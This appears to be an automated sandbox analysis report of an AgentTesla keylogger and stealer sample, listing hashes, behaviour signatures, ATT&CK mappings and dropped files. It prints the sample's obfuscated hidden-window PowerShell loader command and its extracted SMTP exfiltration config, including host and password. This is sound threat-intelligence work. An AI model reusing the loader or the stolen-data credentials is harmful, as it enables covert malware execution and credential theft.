agenttesla | 7ac91c1b8806a9ebc40b12497bd928973f009280a13b2515f9e293657e62b118

General

Target

doc023571961500.exe
Size

708KB
MD5

1fdc4210c29446f1358360b7df89eb3e
SHA1

feabe794bd8654ceaa0d2a2588b252fed6cae378
SHA256

8ef4d6591309fbe5f7998a82ea2db9db9c502293abf51fe37e37d860b2977d7c
SHA512

4f30ad8c74e270d7cc88f3de29fd9a2530a378b07cd5efce7867e19e007472f89da0b6a1fcc97871f4b3e16d65513369b6c34f6e4144983afcebfe35965e337a
SSDEEP

12288:QuoS1Rnqm/L+toFP3ke8cfDynok2l19jjk9CTe13c:HT1Rqm/kol3Kn619k+

Score

10^/10

agenttesla execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
sslout.de
Port:
587
Username:
[email protected]
Password:
dataset123
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4156 powershell.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

34 ip-api.com
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

3652 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

4156 powershell.exe
3652 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4156 set thread context of 3652 4156 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
34	ip-api.com

pid	process
3652	wab.exe

description	pid	process	target process
PID 4156 set thread context of 3652	4156	powershell.exe	wab.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exewab.exe

pid	process
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
3652	wab.exe
3652	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

4156 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exewab.exe

description pid process

Token: SeDebugPrivilege 4156 powershell.exe
Token: SeDebugPrivilege 3652 wab.exe

description	pid	process
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	3652	wab.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

doc023571961500.exepowershell.exe

description	pid	process	target process
PID 4220 wrote to memory of 4156	4220	doc023571961500.exe	powershell.exe
PID 4220 wrote to memory of 4156	4220	doc023571961500.exe	powershell.exe
PID 4220 wrote to memory of 4156	4220	doc023571961500.exe	powershell.exe
PID 4156 wrote to memory of 1796	4156	powershell.exe	cmd.exe
PID 4156 wrote to memory of 1796	4156	powershell.exe	cmd.exe
PID 4156 wrote to memory of 1796	4156	powershell.exe	cmd.exe
PID 4156 wrote to memory of 3652	4156	powershell.exe	wab.exe
PID 4156 wrote to memory of 3652	4156	powershell.exe	wab.exe
PID 4156 wrote to memory of 3652	4156	powershell.exe	wab.exe
PID 4156 wrote to memory of 3652	4156	powershell.exe	wab.exe
PID 4156 wrote to memory of 3652	4156	powershell.exe	wab.exe

C:\Users\Admin\AppData\Local\Temp\doc023571961500.exe
"C:\Users\Admin\AppData\Local\Temp\doc023571961500.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4220
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Induktionen=Get-Content 'C:\Users\Admin\AppData\Roaming\Neurospasm0\oversaturate\bronzeres\Rykkerbrev.Rin';$Noncredibility=$Induktionen.SubString(54173,3);.$Noncredibility($Induktionen)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4156
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
    3⤵
    PID:1796
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t34xym4l.wps.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Neurospasm0\oversaturate\bronzeres\Besonnet198.Srb

Filesize
318KB

MD5
f7fdc5a99007f4b2f31937dd8205c668

SHA1
6a08dffb90f21565641c0660b444ecbffc875fb0

SHA256
62c4dabf9dac154bf2d18d42cc1c72944d5e69109d9367211a89580ba6760583

SHA512
f0cca3d85832339233259e9d8f37ccc570faca62f26fd5554c0e1415e5368c1afacbe83039124927651ff33bb260a9c604912073ff3fe258f9036091afb92980

Download Submit
C:\Users\Admin\AppData\Roaming\Neurospasm0\oversaturate\bronzeres\Rykkerbrev.Rin

Filesize
52KB

MD5
8feef5a2d2851a6927d27a3cdb9ef266

SHA1
951b7b70b5523c1a2252d2924b03335d92e73912

SHA256
df187dabada995e329a11f1d8eed38813eb43509252597db7e67706287be95a5

SHA512
458ee8fc14f094352d2e3c67e4ce7d452a0b6e5041898f2b852920e90c621665f22f53f09a56972db23e4b3c12e390c589292c4fd2777d5a0f36495ba1b2e578

Download Submit
memory/3652-63-0x0000000023F40000-0x0000000023F4A000-memory.dmp

Filesize
40KB

Download
memory/3652-62-0x0000000023FE0000-0x0000000024072000-memory.dmp

Filesize
584KB

Download
memory/3652-59-0x0000000000A00000-0x0000000000A42000-memory.dmp

Filesize
264KB

Download
memory/3652-58-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/3652-48-0x0000000077BB8000-0x0000000077BB9000-memory.dmp

Filesize
4KB

Download
memory/3652-47-0x0000000077B31000-0x0000000077C51000-memory.dmp

Filesize
1.1MB

Download
memory/3652-61-0x0000000023EF0000-0x0000000023F40000-memory.dmp

Filesize
320KB

Download
memory/4156-28-0x0000000006270000-0x000000000628E000-memory.dmp

Filesize
120KB

Download
memory/4156-11-0x0000000002C90000-0x0000000002CC6000-memory.dmp

Filesize
216KB

Download
memory/4156-30-0x00000000067E0000-0x0000000006876000-memory.dmp

Filesize
600KB

Download
memory/4156-31-0x0000000006790000-0x00000000067AA000-memory.dmp

Filesize
104KB

Download
memory/4156-32-0x0000000007240000-0x0000000007262000-memory.dmp

Filesize
136KB

Download
memory/4156-33-0x0000000007820000-0x0000000007DC4000-memory.dmp

Filesize
5.6MB

Download
memory/4156-12-0x00000000741B0000-0x0000000074960000-memory.dmp

Filesize
7.7MB

Download
memory/4156-23-0x0000000005C80000-0x0000000005FD4000-memory.dmp

Filesize
3.3MB

Download
memory/4156-13-0x00000000055E0000-0x0000000005C08000-memory.dmp

Filesize
6.2MB

Download
memory/4156-38-0x00000000741B0000-0x0000000074960000-memory.dmp

Filesize
7.7MB

Download
memory/4156-39-0x00000000741B0000-0x0000000074960000-memory.dmp

Filesize
7.7MB

Download
memory/4156-29-0x00000000062B0000-0x00000000062FC000-memory.dmp

Filesize
304KB

Download
memory/4156-41-0x00000000741B0000-0x0000000074960000-memory.dmp

Filesize
7.7MB

Download
memory/4156-42-0x0000000008AD0000-0x000000000C2B8000-memory.dmp

Filesize
55.9MB

Download
memory/4156-44-0x00000000741BE000-0x00000000741BF000-memory.dmp

Filesize
4KB

Download
memory/4156-45-0x00000000741B0000-0x0000000074960000-memory.dmp

Filesize
7.7MB

Download
memory/4156-46-0x00000000741B0000-0x0000000074960000-memory.dmp

Filesize
7.7MB

Download
memory/4156-37-0x00000000741B0000-0x0000000074960000-memory.dmp

Filesize
7.7MB

Download
memory/4156-17-0x0000000005C10000-0x0000000005C76000-memory.dmp

Filesize
408KB

Download
memory/4156-16-0x0000000005550000-0x00000000055B6000-memory.dmp

Filesize
408KB

Download
memory/4156-15-0x00000000741B0000-0x0000000074960000-memory.dmp

Filesize
7.7MB

Download
memory/4156-35-0x0000000008450000-0x0000000008ACA000-memory.dmp

Filesize
6.5MB

Download
memory/4156-14-0x00000000053B0000-0x00000000053D2000-memory.dmp

Filesize
136KB

Download
memory/4156-10-0x00000000741BE000-0x00000000741BF000-memory.dmp

Filesize
4KB

Download

Analysis

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